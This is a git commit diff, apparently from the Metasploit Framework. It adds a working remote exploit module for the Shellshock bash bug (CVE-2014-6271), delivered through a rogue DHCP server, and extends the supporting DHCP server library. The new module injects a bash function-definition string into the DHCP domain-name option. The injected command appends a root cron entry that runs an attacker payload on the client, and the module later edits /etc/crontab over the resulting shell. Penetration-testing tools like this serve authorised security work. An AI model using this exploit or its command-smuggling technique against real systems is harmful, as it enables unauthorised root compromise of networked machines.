Add DHCP server module for CVE-2014-6271
parent
259a368577
commit
86f85a356d
|
@ -12,7 +12,24 @@ module Msf
|
||||||
module Exploit::DHCPServer
|
module Exploit::DHCPServer
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super
|
super(update_info(info,
|
||||||
|
'Stance' => Msf::Exploit::Stance::Passive,
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]),
|
||||||
|
OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]),
|
||||||
|
OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
|
||||||
|
OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]),
|
||||||
|
OptString.new('ROUTER', [ false, "The router IP address" ]),
|
||||||
|
OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]),
|
||||||
|
OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]),
|
||||||
|
OptString.new('DOMAINNAME', [ false, "The optional domain name to assign" ]),
|
||||||
|
OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]),
|
||||||
|
OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]),
|
||||||
|
OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ])
|
||||||
|
], self.class)
|
||||||
|
|
||||||
@dhcp = nil
|
@dhcp = nil
|
||||||
end
|
end
|
||||||
|
@ -21,7 +38,7 @@ module Exploit::DHCPServer
|
||||||
@dhcp = Rex::Proto::DHCP::Server.new(hash, context)
|
@dhcp = Rex::Proto::DHCP::Server.new(hash, context)
|
||||||
print_status("Starting DHCP server") if datastore['VERBOSE']
|
print_status("Starting DHCP server") if datastore['VERBOSE']
|
||||||
@dhcp.start
|
@dhcp.start
|
||||||
add_socket(@dhcp.socket)
|
add_socket(@dhcp.sock)
|
||||||
@dhcp
|
@dhcp
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -19,6 +19,7 @@ OpDHCPServer = 0x36
|
||||||
OpLeaseTime = 0x33
|
OpLeaseTime = 0x33
|
||||||
OpSubnetMask = 1
|
OpSubnetMask = 1
|
||||||
OpRouter = 3
|
OpRouter = 3
|
||||||
|
OpDomainName = 15
|
||||||
OpDns = 6
|
OpDns = 6
|
||||||
OpHostname = 0x0c
|
OpHostname = 0x0c
|
||||||
OpEnd = 0xff
|
OpEnd = 0xff
|
||||||
|
|
|
@ -31,6 +31,7 @@ class Server
|
||||||
self.myfilename << ("\x00" * (128 - self.myfilename.length))
|
self.myfilename << ("\x00" * (128 - self.myfilename.length))
|
||||||
|
|
||||||
source = hash['SRVHOST'] || Rex::Socket.source_address
|
source = hash['SRVHOST'] || Rex::Socket.source_address
|
||||||
|
self.domain_name = hash['DOMAINNAME'] || nil
|
||||||
self.ipstring = Rex::Socket.addr_aton(source)
|
self.ipstring = Rex::Socket.addr_aton(source)
|
||||||
|
|
||||||
ipstart = hash['DHCPIPSTART']
|
ipstart = hash['DHCPIPSTART']
|
||||||
|
@ -151,6 +152,7 @@ class Server
|
||||||
end
|
end
|
||||||
|
|
||||||
attr_accessor :listen_host, :listen_port, :context, :leasetime, :relayip, :router, :dnsserv
|
attr_accessor :listen_host, :listen_port, :context, :leasetime, :relayip, :router, :dnsserv
|
||||||
|
attr_accessor :domain_name
|
||||||
attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce
|
attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce
|
||||||
attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn
|
attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn
|
||||||
attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE
|
attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE
|
||||||
|
@ -166,7 +168,7 @@ protected
|
||||||
wds = []
|
wds = []
|
||||||
eds = [@sock]
|
eds = [@sock]
|
||||||
|
|
||||||
r,w,e = ::IO.select(rds,wds,eds,1)
|
r,_,_ = ::IO.select(rds,wds,eds,1)
|
||||||
|
|
||||||
if (r != nil and r[0] == self.sock)
|
if (r != nil and r[0] == self.sock)
|
||||||
buf,host,port = self.sock.recvfrom(65535)
|
buf,host,port = self.sock.recvfrom(65535)
|
||||||
|
@ -198,19 +200,19 @@ protected
|
||||||
end
|
end
|
||||||
|
|
||||||
# parse out the members
|
# parse out the members
|
||||||
hwtype = buf[1,1]
|
_hwtype = buf[1,1]
|
||||||
hwlen = buf[2,1].unpack("C").first
|
hwlen = buf[2,1].unpack("C").first
|
||||||
hops = buf[3,1]
|
_hops = buf[3,1]
|
||||||
txid = buf[4..7]
|
_txid = buf[4..7]
|
||||||
elapsed = buf[8..9]
|
_elapsed = buf[8..9]
|
||||||
flags = buf[10..11]
|
_flags = buf[10..11]
|
||||||
clientip = buf[12..15]
|
clientip = buf[12..15]
|
||||||
givenip = buf[16..19]
|
_givenip = buf[16..19]
|
||||||
nextip = buf[20..23]
|
_nextip = buf[20..23]
|
||||||
relayip = buf[24..27]
|
_relayip = buf[24..27]
|
||||||
clienthwaddr = buf[28..(27+hwlen)]
|
_clienthwaddr = buf[28..(27+hwlen)]
|
||||||
servhostname = buf[44..107]
|
servhostname = buf[44..107]
|
||||||
filename = buf[108..235]
|
_filename = buf[108..235]
|
||||||
magic = buf[236..239]
|
magic = buf[236..239]
|
||||||
|
|
||||||
if (magic != DHCPMagic)
|
if (magic != DHCPMagic)
|
||||||
|
@ -293,6 +295,8 @@ protected
|
||||||
pkt << dhcpoption(OpSubnetMask, self.netmaskn)
|
pkt << dhcpoption(OpSubnetMask, self.netmaskn)
|
||||||
pkt << dhcpoption(OpRouter, self.router)
|
pkt << dhcpoption(OpRouter, self.router)
|
||||||
pkt << dhcpoption(OpDns, self.dnsserv)
|
pkt << dhcpoption(OpDns, self.dnsserv)
|
||||||
|
pkt << dhcpoption(OpDomainName, self.domain_name)
|
||||||
|
|
||||||
if self.servePXE # PXE options
|
if self.servePXE # PXE options
|
||||||
pkt << dhcpoption(OpPXEMagic, PXEMagic)
|
pkt << dhcpoption(OpPXEMagic, PXEMagic)
|
||||||
# We already got this one, serve localboot file
|
# We already got this one, serve localboot file
|
||||||
|
|
|
@ -30,19 +30,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
'DefaultAction' => 'Service'
|
'DefaultAction' => 'Service'
|
||||||
)
|
)
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]),
|
|
||||||
OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]),
|
|
||||||
OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
|
|
||||||
OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]),
|
|
||||||
OptString.new('ROUTER', [ false, "The router IP address" ]),
|
|
||||||
OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]),
|
|
||||||
OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]),
|
|
||||||
OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]),
|
|
||||||
OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]),
|
|
||||||
OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ])
|
|
||||||
], self.class)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
|
|
@ -0,0 +1,84 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex/proto/dhcp'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::DHCPServer
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Dhclient Bash Environment Variable Injection',
|
||||||
|
'Description' => %q|
|
||||||
|
When bash is started with an environment variable that begins with the
|
||||||
|
string "() {", that variable is treated as a function definition and
|
||||||
|
parsed as code. If extra commands are added after the function
|
||||||
|
definition, they will be executed immediately. When dhclient receives
|
||||||
|
an ACK that contains a domain name or hostname, they are passed to
|
||||||
|
configuration scripts as environment variables, allowing us to trigger
|
||||||
|
the bash bug.
|
||||||
|
|
||||||
|
Because of the length restrictions and unusual networking scenario at
|
||||||
|
time of exploitation, we achieve code execution by echoing our payload
|
||||||
|
into /etc/crontab and clean it up when we get a shell.
|
||||||
|
|,
|
||||||
|
'Author' => [ 'egypt' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => ['unix'],
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2014-6271'],
|
||||||
|
],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
# 255 for a domain name, minus some room for encoding
|
||||||
|
'Space' => 200,
|
||||||
|
'DisableNops' => true,
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'PayloadType' => 'cmd',
|
||||||
|
'RequiredCmd' => 'generic bash telnet ruby',
|
||||||
|
}
|
||||||
|
},
|
||||||
|
'Targets' => [ [ 'Automatic Target', { }] ],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Sep 24 2014'
|
||||||
|
))
|
||||||
|
|
||||||
|
deregister_options('DOMAINNAME')
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_new_session(session)
|
||||||
|
print_status "Cleaning up crontab"
|
||||||
|
# XXX this will brick a server some day
|
||||||
|
session.shell_command_token("sed -i '/^\\* \\* \\* \\* \\* root/d' /etc/crontab")
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
hash = datastore.copy
|
||||||
|
# Quotes seem to be completely stripped, so other characters have to be
|
||||||
|
# escaped
|
||||||
|
p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) }
|
||||||
|
echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab"
|
||||||
|
hash['DOMAINNAME'] = "() { :; };#{echo}"
|
||||||
|
if hash['DOMAINNAME'].length > 255
|
||||||
|
raise ArgumentError, 'payload too long'
|
||||||
|
end
|
||||||
|
start_service(hash)
|
||||||
|
|
||||||
|
begin
|
||||||
|
while @dhcp.thread.alive?
|
||||||
|
sleep 2
|
||||||
|
end
|
||||||
|
ensure
|
||||||
|
stop_service
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Reference in New Issue